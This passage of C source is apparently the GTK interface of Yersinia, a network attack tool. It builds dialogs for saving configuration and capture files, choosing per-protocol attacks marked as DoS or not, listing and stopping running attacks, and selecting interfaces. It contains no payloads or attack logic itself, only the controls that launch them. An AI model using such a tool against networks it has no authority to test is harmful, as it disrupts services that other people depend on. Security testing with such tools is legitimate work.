*savedialog_vbox; GtkWidget *savedialog_buttons; GtkWidget *savedialog_cancel_button; GtkWidget *savedialog_ok_button; savedialog = gtk_file_chooser_dialog_new (_("Save config file"), NULL, GTK_FILE_CHOOSER_ACTION_SAVE, NULL, NULL); GTK_WINDOW (savedialog)->type = GTK_WINDOW_TOPLEVEL; gtk_window_set_type_hint (GTK_WINDOW (savedialog), GDK_WINDOW_TYPE_HINT_DIALOG); savedialog_vbox = GTK_DIALOG (savedialog)->vbox; gtk_widget_show (savedialog_vbox); savedialog_buttons = GTK_DIALOG (savedialog)->action_area; gtk_widget_show (savedialog_buttons); gtk_button_box_set_layout (GTK_BUTTON_BOX (savedialog_buttons), GTK_BUTTONBOX_END); savedialog_cancel_button = gtk_button_new_from_stock ("gtk-cancel"); gtk_widget_show (savedialog_cancel_button); gtk_dialog_add_action_widget (GTK_DIALOG (savedialog), savedialog_cancel_button, GTK_RESPONSE_CANCEL); GTK_WIDGET_SET_FLAGS (savedialog_cancel_button, GTK_CAN_DEFAULT); savedialog_ok_button = gtk_button_new_from_stock ("gtk-open"); gtk_widget_show (savedialog_ok_button); gtk_dialog_add_action_widget (GTK_DIALOG (savedialog), savedialog_ok_button, GTK_RESPONSE_OK); GTK_WIDGET_SET_FLAGS (savedialog_ok_button, GTK_CAN_DEFAULT); g_signal_connect_swapped ((gpointer) savedialog_cancel_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (savedialog)); g_signal_connect ((gpointer) savedialog_ok_button, "clicked", G_CALLBACK (gtk_c_savedialog_save), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog, "savedialog"); GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog_vbox, "savedialog_vbox"); GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog_buttons, "savedialog_buttons"); GLADE_HOOKUP_OBJECT (savedialog, savedialog_cancel_button, "savedialog_cancel_button"); GLADE_HOOKUP_OBJECT (savedialog, savedialog_ok_button, "savedialog_ok_button"); gtk_widget_grab_default (savedialog_ok_button); return savedialog; } GtkWidget* gtk_i_create_capturedialog (struct gtk_s_helper *helper) { GtkWidget *savedialog; GtkWidget *savedialog_vbox; GtkWidget *savedialog_buttons; GtkWidget *savedialog_cancel_button; GtkWidget *savedialog_ok_button; savedialog = gtk_file_chooser_dialog_new (_("Save capture file"), NULL, GTK_FILE_CHOOSER_ACTION_SAVE, NULL, NULL); GTK_WINDOW (savedialog)->type = GTK_WINDOW_TOPLEVEL; //gtk_window_set_type_hint (GTK_WINDOW (savedialog), GDK_WINDOW_TYPE_HINT_DIALOG); savedialog_vbox = GTK_DIALOG (savedialog)->vbox; gtk_widget_show (savedialog_vbox); savedialog_buttons = GTK_DIALOG (savedialog)->action_area; gtk_widget_show (savedialog_buttons); gtk_button_box_set_layout (GTK_BUTTON_BOX (savedialog_buttons), GTK_BUTTONBOX_END); savedialog_cancel_button = gtk_button_new_from_stock ("gtk-cancel"); gtk_widget_show (savedialog_cancel_button); gtk_dialog_add_action_widget (GTK_DIALOG (savedialog), savedialog_cancel_button, GTK_RESPONSE_CANCEL); GTK_WIDGET_SET_FLAGS (savedialog_cancel_button, GTK_CAN_DEFAULT); savedialog_ok_button = gtk_button_new_from_stock ("gtk-open"); gtk_widget_show (savedialog_ok_button); gtk_dialog_add_action_widget (GTK_DIALOG (savedialog), savedialog_ok_button, GTK_RESPONSE_OK); GTK_WIDGET_SET_FLAGS (savedialog_ok_button, GTK_CAN_DEFAULT); g_signal_connect_swapped ((gpointer) savedialog_cancel_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (savedialog)); g_signal_connect ((gpointer) savedialog_ok_button, "clicked", G_CALLBACK (gtk_c_capturedialog_save), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog, "savedialog"); GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog_vbox, "savedialog_vbox"); GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog_buttons, "savedialog_buttons"); GLADE_HOOKUP_OBJECT (savedialog, savedialog_cancel_button, "savedialog_cancel_button"); GLADE_HOOKUP_OBJECT (savedialog, savedialog_ok_button, "savedialog_ok_button"); gtk_widget_grab_default (savedialog_ok_button); return savedialog; } void gtk_i_create_aboutdialog( GtkMenuItem *menuitem, gpointer user_data ) { GtkWidget *aboutdialog; int j; const gchar *authors[] = { "David Barroso Berrueta <[email protected]>", "Alfredo Andr\303\251s Omella <[email protected]>", NULL }; gchar *translators = _("translator-credits"); GdkPixbuf *aboutdialog_logo_pixbuf; aboutdialog = gtk_about_dialog_new(); gtk_about_dialog_set_version( GTK_ABOUT_DIALOG( aboutdialog ), VERSION ); gtk_about_dialog_set_name( GTK_ABOUT_DIALOG( aboutdialog ), _( "Yersinia" ) ); gtk_about_dialog_set_copyright( GTK_ABOUT_DIALOG( aboutdialog ), _( " Yersinia\n By David Barroso <[email protected]> and Alfredo Andres <[email protected]>\nCopyright 2005-2017 Alfredo Andres and David Barroso" ) ); j = term_motd(); if (j >= 0) gtk_about_dialog_set_comments( GTK_ABOUT_DIALOG( aboutdialog ), _( vty_motd[j] ) ); gtk_about_dialog_set_license( GTK_ABOUT_DIALOG( aboutdialog ), LICENSE ); gtk_about_dialog_set_website( GTK_ABOUT_DIALOG( aboutdialog ), "http://www.yersinia.net"); gtk_about_dialog_set_website_label( GTK_ABOUT_DIALOG( aboutdialog), _("http://www.yersinia.net")); gtk_about_dialog_set_authors( GTK_ABOUT_DIALOG( aboutdialog ), authors ); gtk_about_dialog_set_translator_credits( GTK_ABOUT_DIALOG( aboutdialog ), translators ); aboutdialog_logo_pixbuf = create_pixbuf( "yersinia.png" ); gtk_about_dialog_set_logo( GTK_ABOUT_DIALOG( aboutdialog ), aboutdialog_logo_pixbuf ); gtk_dialog_run( GTK_DIALOG( aboutdialog ) ); gtk_widget_destroy( aboutdialog ); } GtkWidget *gtk_i_create_attacksdialog( GtkWidget *notebook, struct gtk_s_helper *helper, u_int8_t mode ) { GtkWidget *main_dialog; GtkWidget *attacks_frame; GtkWidget *attacks_vbox; GtkWidget *attacks_v_table = NULL ; GtkWidget *attacks_notebook; GtkWidget *attacks_n_labels[MAX_PROTOCOLS]; GtkWidget *attacks_vt_radio_attack[MAX_PROTOCOLS]; GtkWidget *attacks_vt_label_attack = NULL ; GtkWidget *attacks_vt_label_dos = NULL ; GtkWidget *attacks_vt_check_attack1 = NULL ; GtkWidget *attacks_v_hbox; GtkWidget *attacks_vh_cancel_button; GtkWidget *attacks_vh_ok_button; struct _attack_definition *attack_def ; u_int8_t i, j, num_attacks; helper->attack_def = NULL ; helper->row = 0 ; main_dialog = gtk_window_new( GTK_WINDOW_TOPLEVEL ); gtk_window_set_title( GTK_WINDOW( main_dialog ), _( "Choose protocol attack" ) ); gtk_window_set_position( GTK_WINDOW( main_dialog ), GTK_WIN_POS_CENTER_ON_PARENT ); gtk_window_set_resizable( GTK_WINDOW( main_dialog ), FALSE ); attacks_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (attacks_vbox); gtk_container_add( GTK_CONTAINER( main_dialog ), attacks_vbox ); attacks_notebook = gtk_notebook_new (); gtk_widget_show(attacks_notebook); g_signal_connect_after( G_OBJECT(attacks_notebook), "switch-page", G_CALLBACK( gtk_c_attacks_synchro ), (gpointer)notebook ); gtk_box_pack_start( GTK_BOX( attacks_vbox ), attacks_notebook, TRUE, TRUE, 0 ); for (i=0; i < MAX_PROTOCOLS; i++) { if ( protocols[i].attack_def_list ) { attack_def = protocols[i].attack_def_list; attacks_frame = gtk_frame_new( " Choose attack "); gtk_container_add( GTK_CONTAINER( attacks_notebook ), attacks_frame ); if ( protocols[i].visible ) gtk_widget_show( attacks_frame ); attacks_n_labels[i] = gtk_label_new (_(protocols[i].namep)); if (protocols[i].visible) gtk_widget_show (attacks_n_labels[i]); gtk_notebook_set_tab_label (GTK_NOTEBOOK (attacks_notebook), gtk_notebook_get_nth_page (GTK_NOTEBOOK (attacks_notebook), i), attacks_n_labels[i]); attacks_v_table = gtk_table_new( 1, 3, FALSE ); gtk_widget_show (attacks_v_table); gtk_container_add(GTK_CONTAINER(attacks_frame), attacks_v_table); gtk_container_set_border_width (GTK_CONTAINER (attacks_v_table), 10); attacks_vt_label_attack = gtk_label_new (_("Description")); gtk_widget_show (attacks_vt_label_attack); gtk_table_attach (GTK_TABLE (attacks_v_table), attacks_vt_label_attack, 0, 1, 0, 1, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); gtk_misc_set_alignment (GTK_MISC (attacks_vt_label_attack), 0, 0.5); attacks_vt_label_dos = gtk_label_new (_("DoS")); gtk_widget_show (attacks_vt_label_dos); gtk_table_attach (GTK_TABLE (attacks_v_table), attacks_vt_label_dos, 1, 2, 0, 1, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); gtk_misc_set_alignment (GTK_MISC (attacks_vt_label_dos), 0, 0.5); num_attacks = 0; while ( attack_def[num_attacks].desc ) num_attacks++; for(j = 0; j < num_attacks; j++) { if (j == 0) attacks_vt_radio_attack[i] = gtk_radio_button_new_with_label( NULL, attack_def[j].desc ); else attacks_vt_radio_attack[i] = gtk_radio_button_new_with_label_from_widget( GTK_RADIO_BUTTON( attacks_vt_radio_attack[i] ), ( attack_def[j].desc ) ); gtk_widget_show (attacks_vt_radio_attack[i]); g_signal_connect(attacks_vt_radio_attack[i], "toggled", (GCallback) gtk_c_attacks_radio_changed, helper); gtk_table_attach (GTK_TABLE (attacks_v_table), attacks_vt_radio_attack[i], 0, 1, j+1, j+2, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); attacks_vt_check_attack1 = gtk_check_button_new(); gtk_widget_set_sensitive(GTK_WIDGET(attacks_vt_check_attack1), FALSE); if ( attack_def[j].type == DOS ) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(attacks_vt_check_attack1), TRUE); else gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(attacks_vt_check_attack1), FALSE); gtk_widget_show (attacks_vt_check_attack1); gtk_table_attach (GTK_TABLE (attacks_v_table), attacks_vt_check_attack1, 1, 2, j+1, j+2, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); } } } /* Start in the same label than the main window */ gtk_notebook_set_current_page( GTK_NOTEBOOK( attacks_notebook ), mode ); attacks_v_hbox = gtk_hbox_new( TRUE, 0 ); gtk_widget_show(attacks_v_hbox); gtk_container_add( GTK_CONTAINER( attacks_vbox ), attacks_v_hbox ); attacks_vh_cancel_button = gtk_button_new_with_mnemonic (_("Cancel")); gtk_widget_show (attacks_vh_cancel_button); gtk_box_pack_start (GTK_BOX (attacks_v_hbox), attacks_vh_cancel_button, FALSE, TRUE, 0); g_signal_connect_swapped((gpointer) attacks_vh_cancel_button, "clicked", G_CALLBACK( gtk_widget_destroy ), GTK_OBJECT( main_dialog ) ); attacks_vh_ok_button = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (attacks_vh_ok_button); gtk_box_pack_start( GTK_BOX( attacks_v_hbox ), attacks_vh_ok_button, FALSE, TRUE, 0 ); g_signal_connect((gpointer) attacks_vh_ok_button, "clicked", G_CALLBACK( gtk_c_attacks_launch ), helper ); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF( main_dialog, main_dialog, "attacksdialog"); GLADE_HOOKUP_OBJECT( main_dialog, attacks_vbox, "attacks_vbox"); GLADE_HOOKUP_OBJECT( main_dialog, attacks_v_table, "attacks_v_table"); GLADE_HOOKUP_OBJECT( main_dialog, attacks_vt_label_attack, "attacks_vt_label_attack"); GLADE_HOOKUP_OBJECT( main_dialog, attacks_vt_label_dos, "attacks_vt_label_dos"); GLADE_HOOKUP_OBJECT( main_dialog, attacks_vt_check_attack1, "attacks_vt_check_attack1"); GLADE_HOOKUP_OBJECT( main_dialog, attacks_v_hbox, "attacks_v_hbox"); GLADE_HOOKUP_OBJECT( main_dialog, attacks_notebook, "attacks_notebook"); GLADE_HOOKUP_OBJECT( main_dialog, attacks_vh_cancel_button, "attacks_vh_cancel_button"); GLADE_HOOKUP_OBJECT( main_dialog, attacks_vh_ok_button, "attacks_vh_ok_button"); return main_dialog; } GtkWidget* create_interfacesdialog (struct term_node *node) { GtkWidget *interfacesdialog; GtkWidget *interfaces_frame; GtkWidget *interfaces_vbox; GtkWidget *interfaces_v_table; GtkWidget *interfaces_v_button; GtkWidget **int_checkb; dlist_t *p; struct interface_data *iface_data; u_int32_t i; void *found; interfacesdialog = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_widget_set_size_request (interfacesdialog, 200, 150); gtk_window_set_title (GTK_WINDOW (interfacesdialog), _("Choose interfaces")); gtk_window_set_position (GTK_WINDOW (interfacesdialog), GTK_WIN_POS_CENTER_ON_PARENT); interfaces_frame = gtk_frame_new(_("Select interfaces")); gtk_widget_show(interfaces_frame); gtk_container_add(GTK_CONTAINER (interfacesdialog), interfaces_frame); interfaces_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (interfaces_vbox); gtk_container_add (GTK_CONTAINER (interfaces_frame), interfaces_vbox); interfaces_v_table = gtk_table_new (dlist_length(interfaces->list), 1, FALSE); gtk_widget_show (interfaces_v_table); gtk_box_pack_start (GTK_BOX (interfaces_vbox), interfaces_v_table, TRUE, TRUE, 0); gtk_container_set_border_width (GTK_CONTAINER (interfaces_v_table), 5); int_checkb = (GtkWidget **) calloc(dlist_length(interfaces->list), sizeof(GtkWidget *)); for (p = interfaces->list, i = 0; p; p = dlist_next(interfaces->list, p), i++) { iface_data = (struct interface_data *) dlist_data(p); found = dlist_search(node->used_ints->list, node->used_ints->cmp, (void *) iface_data->ifname); int_checkb[i] = gtk_check_button_new_with_mnemonic(iface_data->ifname); gtk_widget_show(int_checkb[i]); if (found) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(int_checkb[i]), TRUE); else gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(int_checkb[i]), FALSE); gtk_table_attach (GTK_TABLE (interfaces_v_table), int_checkb[i], 0, 1, i, i + 1, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); g_signal_connect (int_checkb[i], "toggled", G_CALLBACK (gtk_c_toggle_interface), node); } interfaces_v_button = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (interfaces_v_button); gtk_box_pack_start (GTK_BOX (interfaces_vbox), interfaces_v_button, FALSE, FALSE, 0); g_signal_connect_swapped ((gpointer) interfaces_v_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (interfacesdialog)); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (interfacesdialog, interfacesdialog, "interfacesdialog"); GLADE_HOOKUP_OBJECT (interfacesdialog, interfaces_vbox, "interfaces_vbox"); GLADE_HOOKUP_OBJECT (interfacesdialog, interfaces_v_table, "interfaces_v_table"); GLADE_HOOKUP_OBJECT (interfacesdialog, interfaces_v_button, "interfaces_v_button"); return interfacesdialog; } GtkWidget *gtk_i_create_listattacksdialog( struct term_node *node ) { GtkWidget *main_dialog ; GtkWidget *frame ; GtkWidget *frame_vbox ; GtkWidget *main_vbox ; GtkWidget *attack_hbox ; GtkWidget *stop_button ; GtkWidget *quit_hbox ; GtkWidget *stopall_button ; GtkWidget *quit_button ; GtkWidget *label ; struct _attack_definition *attack_def ; u_int8_t i, j; int attack_count = 0 ; GTK_DIALOG_ATTACK_CONTEXT *dialog_ctx; GTK_ATTACK_CONTEXT *attack_ctx ; dialog_ctx = (GTK_DIALOG_ATTACK_CONTEXT *)calloc( 1, sizeof( GTK_DIALOG_ATTACK_CONTEXT ) ); dialog_ctx->enabled_attacks_list = (GTK_ATTACK_CONTEXT *)malloc( sizeof( GTK_ATTACK_CONTEXT ) * MAX_PROTOCOLS * MAX_THREAD_ATTACK ); attack_ctx = dialog_ctx->enabled_attacks_list ; main_dialog = gtk_window_new( GTK_WINDOW_TOPLEVEL ); gtk_window_set_title( GTK_WINDOW( main_dialog ), _( "Running Attacks" ) ); gtk_window_set_position( GTK_WINDOW( main_dialog ), GTK_WIN_POS_CENTER_ON_PARENT ); gtk_window_set_resizable( GTK_WINDOW( main_dialog ), FALSE ); dialog_ctx->dialog = main_dialog ; dialog_ctx->node = node ; g_signal_connect( main_dialog, "delete_event", G_CALLBACK( gtk_c_listattacks_delete_event ), (gpointer)dialog_ctx ); frame = gtk_frame_new( NULL ); frame_vbox = gtk_vbox_new( FALSE, 0 ); main_vbox = gtk_vbox_new( FALSE, 0 ); gtk_box_pack_start( GTK_BOX( main_vbox ), frame, FALSE, FALSE, 0 ); /* Attacks list... */ for( i = 0; i < MAX_PROTOCOLS; i++ ) { attack_def = protocols[i].attack_def_list; for( j = 0; j < MAX_THREAD_ATTACK; j++ ) { if ( node->protocol[i].attacks[j].up ) { attack_hbox = gtk_hbox_new( FALSE, 5 ); /* Attack Proto */ label = gtk_label_new( protocols[i].namep ); gtk_widget_show( label ); gtk_box_pack_start( GTK_BOX( attack_hbox ), label, FALSE, FALSE, 5 ); /* Attack Description... */ label = gtk_label_new( attack_def[ node->protocol[ i ].attacks[ j ].attack ].desc ); gtk_widget_show( label ); gtk_box_pack_start( GTK_BOX( attack_hbox ), label, FALSE, FALSE, 0 ); /* Attack stop button... */ stop_button = gtk_button_new_with_label( " Stop " ); gtk_widget_show( stop_button ); gtk_box_pack_end( GTK_BOX( attack_hbox ), stop_button, FALSE, FALSE, 5 ); attack_ctx->protocol = i ; attack_ctx->attack = j ; attack_ctx->dialog = main_dialog ; attack_ctx->node = node ; attack_ctx->h_box = attack_hbox ; g_signal_connect( (gpointer)stop_button, "clicked", G_CALLBACK( gtk_c_listattacks_stop_click ), (gpointer)attack_ctx ); attack_ctx++; gtk_box_pack_start( GTK_BOX( frame_vbox ), attack_hbox, FALSE, FALSE, 3 ); gtk_widget_show( attack_hbox ); attack_count++; } } } /* Bottom buttons... */ quit_hbox = gtk_hbox_new( FALSE, 0 ); if ( attack_count ) { stopall_button = gtk_button_new_with_label( " Stop ALL " ); g_signal_connect( (gpointer)stopall_button, "clicked", G_CALLBACK( gtk_c_listattacks_stopall_click ), (gpointer)dialog_ctx ); gtk_box_pack_start( GTK_BOX( quit_hbox ), stopall_button, TRUE, FALSE, 0 ); gtk_widget_show( stopall_button ); } else { label = gtk_label_new( " No attacks currently running " ); gtk_widget_show( label ); gtk_box_pack_start( GTK_BOX( frame_vbox ), label, FALSE, FALSE, 10 ); } quit_button = gtk_button_new_with_label( " Quit " ); g_signal_connect( (gpointer)quit_button, "clicked", G_CALLBACK( gtk_c_listattacks_quit_click ), (gpointer)dialog_ctx ); gtk_box_pack_start( GTK_BOX( quit_hbox ), quit_button, TRUE, FALSE, 0 ); gtk_box_pack_start( GTK_BOX( main_vbox ), quit_hbox, FALSE, FALSE, 5 ); gtk_widget_show( quit_button ); gtk_widget_show( quit_hbox ); gtk_widget_show( frame_vbox ); gtk_widget_show( frame ); gtk_widget_show( main_vbox ); gtk_container_add( GTK_CONTAINER( frame ), frame_vbox ); gtk_container_add( GTK_CONTAINER( main_dialog ), main_vbox ); return main_dialog ; } void gtk_i_modaldialog( int gtk_msg_type, char *header, char *msg, ...) { GtkWidget *dialog ; va_list ap ; char *buffer = (char *)malloc( 2048 ); if ( buffer ) { va_start( ap, msg ); vsnprintf( buffer, 2048, msg, ap ); va_end( ap ); if ( header ) dialog = gtk_message_dialog_new( NULL, GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, gtk_msg_type, GTK_BUTTONS_OK, "%s", header ); else dialog = gtk_message_dialog_new( NULL, GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, gtk_msg_type, GTK_BUTTONS_OK, NULL ); gtk_message_dialog_format_secondary_text( GTK_MESSAGE_DIALOG( dialog ), "%s", buffer ); gtk_dialog_run( GTK_DIALOG( dialog ) ); gtk_widget_destroy( dialog ); free( buffer ); } } GtkWidget* gtk_i_create_warningdialog (char *msg, ...) { GtkWidget *warningdialog; GtkWidget *warning_vbox; GtkWidget *warning_v_scroll; GtkWidget *warning_vs_text; GtkWidget *warning_v_button; va_list ap; char buffer[4096]; va_start(ap, msg); vsnprintf(buffer, 4096, msg, ap); va_end(ap); warningdialog = gtk_window_new (GTK_WINDOW_POPUP); gtk_widget_set_size_request (warningdialog, 200, 150); gtk_window_set_title (GTK_WINDOW (warningdialog), _("Warning")); gtk_window_set_position (GTK_WINDOW (warningdialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_window_set_type_hint (GTK_WINDOW (warningdialog), GDK_WINDOW_TYPE_HINT_SPLASHSCREEN); warning_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (warning_vbox); gtk_container_add (GTK_CONTAINER (warningdialog), warning_vbox); warning_v_scroll = gtk_scrolled_window_new (NULL, NULL); gtk_widget_show (warning_v_scroll); gtk_box_pack_start (GTK_BOX (warning_vbox), warning_v_scroll, TRUE, TRUE, 0); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (warning_v_scroll), GTK_POLICY_NEVER, GTK_POLICY_NEVER); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (warning_v_scroll), GTK_SHADOW_IN); warning_vs_text = gtk_text_view_new (); gtk_widget_show (warning_vs_text); gtk_container_add (GTK_CONTAINER (warning_v_scroll), warning_vs_text); gtk_text_view_set_editable (GTK_TEXT_VIEW (warning_vs_text), FALSE); gtk_text_view_set_wrap_mode (GTK_TEXT_VIEW (warning_vs_text), GTK_WRAP_WORD); gtk_text_view_set_cursor_visible (GTK_TEXT_VIEW (warning_vs_text), FALSE); gtk_text_buffer_set_text (gtk_text_view_get_buffer (GTK_TEXT_VIEW (warning_vs_text)), (buffer), -1); warning_v_button = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (warning_v_button); gtk_box_pack_start (GTK_BOX (warning_vbox), warning_v_button, FALSE, FALSE, 0); g_signal_connect_swapped ((gpointer) warning_v_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (warningdialog)); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (warningdialog, warningdialog, "warningdialog"); GLADE_HOOKUP_OBJECT (warningdialog, warning_vbox, "warning_vbox"); GLADE_HOOKUP_OBJECT (warningdialog, warning_v_scroll, "warning_v_scroll"); GLADE_HOOKUP_OBJECT (warningdialog, warning_vs_text, "warning_vs_text"); GLADE_HOOKUP_OBJECT (warningdialog, warning_v_button, "warning_v_button"); return warningdialog; } GtkWidget* gtk_i_create_extradialog (struct gtk_s_helper *helper) { GtkWidget *extradialog; GtkWidget *extra_vbox; GtkWidget *extra_v_scroll; GtkWidget *extra_vs_text; GtkWidget *extra_v_button_add, *extra_v_button_remove, *extra_v_button_ok; extradialog = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_widget_set_size_request (extradialog, 200, 150); gtk_window_set_title (GTK_WINDOW (extradialog), _("Extra parameters")); gtk_window_set_position (GTK_WINDOW (extradialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_window_set_type_hint (GTK_WINDOW (extradialog), GDK_WINDOW_TYPE_HINT_SPLASHSCREEN); extra_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (extra_vbox); gtk_container_add (GTK_CONTAINER (extradialog), extra_vbox); extra_v_scroll = gtk_scrolled_window_new (NULL, NULL); gtk_widget_show (extra_v_scroll); gtk_box_pack_start (GTK_BOX (extra_vbox), extra_v_scroll, TRUE, TRUE, 0); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (extra_v_scroll), GTK_POLICY_NEVER, GTK_POLICY_NEVER); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (extra_v_scroll), GTK_SHADOW_IN); extra_vs_text = gtk_text_view_new (); gtk_widget_show (extra_vs_text); gtk_container_add (GTK_CONTAINER (extra_v_scroll), extra_vs_text); extra_v_button_add = gtk_button_new_with_mnemonic (_("Add")); gtk_widget_show (extra_v_button_add); gtk_box_pack_start (GTK_BOX (extra_vbox), extra_v_button_add, FALSE, FALSE, 0); extra_v_button_remove = gtk_button_new_with_mnemonic (_("Remove")); gtk_widget_show (extra_v_button_remove); gtk_box_pack_start (GTK_BOX (extra_vbox), extra_v_button_remove, FALSE, FALSE, 0); extra_v_button_ok = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (extra_v_button_ok); gtk_box_pack_start (GTK_BOX (extra_vbox), extra_v_button_ok, FALSE, FALSE, 0); g_signal_connect ((gpointer) extra_v_button_add, "clicked", G_CALLBACK (gtk_c_extra_button_add_clicked), (gpointer) helper); g_signal_connect_swapped ((gpointer) extra_v_button_ok, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (extradialog)); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (extradialog, extradialog, "extradialog"); GLADE_HOOKUP_OBJECT (extradialog, extra_vbox, "extra_vbox"); GLADE_HOOKUP_OBJECT (extradialog, extra_v_scroll, "extra_v_scroll"); GLADE_HOOKUP_OBJECT (extradialog, extra_vs_text, "extra_vs_text"); GLADE_HOOKUP_OBJECT (extradialog, extra_v_button_ok, "extra_v_button_ok"); return extradialog; } GtkWidget* gtk_i_create_add_extradialog (struct gtk_s_helper *helper, u_int8_t proto) { GtkWidget *add_extradialog; GtkWidget *add_extra_vbox; GtkWidget *add_extra_v_table; GtkWidget *add_extra_v_lcombo, *add_extra_v_lentry; GtkWidget *add_extra_v_combo; GtkWidget *add_extra_v_entry; GtkWidget *add_extra_v_hbox; GtkWidget *add_extra_v_button_cancel, *add_extra_v_button_ok; struct commands_param_extra *params; u_int8_t i; add_extradialog = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_window_set_title (GTK_WINDOW (add_extradialog), _("Add add_extra parameter")); gtk_window_set_position (GTK_WINDOW (add_extradialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_window_set_type_hint (GTK_WINDOW (add_extradialog), GDK_WINDOW_TYPE_HINT_SPLASHSCREEN); add_extra_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (add_extra_vbox); gtk_container_add (GTK_CONTAINER (add_extradialog), add_extra_vbox); add_extra_v_table = gtk_table_new(2, 2, TRUE); gtk_widget_show(add_extra_v_table); gtk_box_pack_start (GTK_BOX (add_extra_vbox), add_extra_v_table, FALSE, FALSE, 0); add_extra_v_lcombo = gtk_label_new("Choose type"); gtk_widget_show(add_extra_v_lcombo); gtk_table_attach(GTK_TABLE(add_extra_v_table), add_extra_v_lcombo, 0, 1, 0, 1, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); add_extra_v_combo = gtk_combo_box_new_text(); gtk_widget_show(add_extra_v_combo); gtk_table_attach(GTK_TABLE(add_extra_v_table), add_extra_v_combo, 1, 2, 0, 1, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); add_extra_v_lentry = gtk_label_new("Set value"); gtk_widget_show(add_extra_v_lentry); gtk_table_attach(GTK_TABLE(add_extra_v_table), add_extra_v_lentry, 0, 1, 1, 2, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); add_extra_v_entry = gtk_entry_new(); gtk_widget_show(add_extra_v_entry); gtk_table_attach(GTK_TABLE(add_extra_v_table), add_extra_v_entry, 1, 2, 1, 2, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); if (protocols[proto].extra_nparams > 0) { params = protocols[proto].extra_parameters; for (i = 0; i < protocols[proto].extra_nparams; i++) { gtk_combo_box_append_text(GTK_COMBO_BOX(add_extra_v_combo), params[i].desc); } } add_extra_v_hbox = gtk_hbox_new(FALSE, 0); gtk_widget_show(add_extra_v_hbox); gtk_container_add (GTK_CONTAINER (add_extra_vbox), add_extra_v_hbox); add_extra_v_button_cancel = gtk_button_new_with_mnemonic (_("Cancel")); gtk_widget_show (add_extra_v_button_cancel); gtk_box_pack_start (GTK_BOX (add_extra_v_hbox), add_extra_v_button_cancel, FALSE, TRUE, 0); add_extra_v_button_ok = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (add_extra_v_button_ok); gtk_box_pack_start (GTK_BOX (add_extra_v_hbox), add_extra_v_button_ok, FALSE, TRUE, 0); g_signal_connect_swapped ((gpointer) add_extra_v_button_cancel, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (add_extradialog)); g_signal_connect ((gpointer) add_extra_v_button_ok, "clicked", G_CALLBACK (gtk_c_add_extra_button_add_ok_clicked), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (add_extradialog, add_extradialog, "add_extradialog"); GLADE_HOOKUP_OBJECT (add_extradialog, add_extra_vbox, "add_extra_vbox"); GLADE_HOOKUP_OBJECT (add_extradialog, add_extra_v_button_ok, "add_extra_v_button_ok"); return add_extradialog; } GtkWidget *gtk_i_create_attackparamsdialog( GTK_ATTACK_PARAMS_CONTEXT *params_ctx ) { GtkWidget *main_dialog ; GtkWidget *main_vbox ; GtkWidget *frame; GtkWidget *frame_vbox; GtkWidget *param_hbox; GtkWidget *label; GtkWidget *button_hbox ; GtkWidget *cancel_button; GtkWidget *ok_button; u_int8_t i; gchar *title_text = g_strconcat( protocols[ params_ctx->helper->mode ].namep, " attack parameters", NULL ); gchar *frame_text = g_strconcat( " ", protocols[ params_ctx->helper->mode 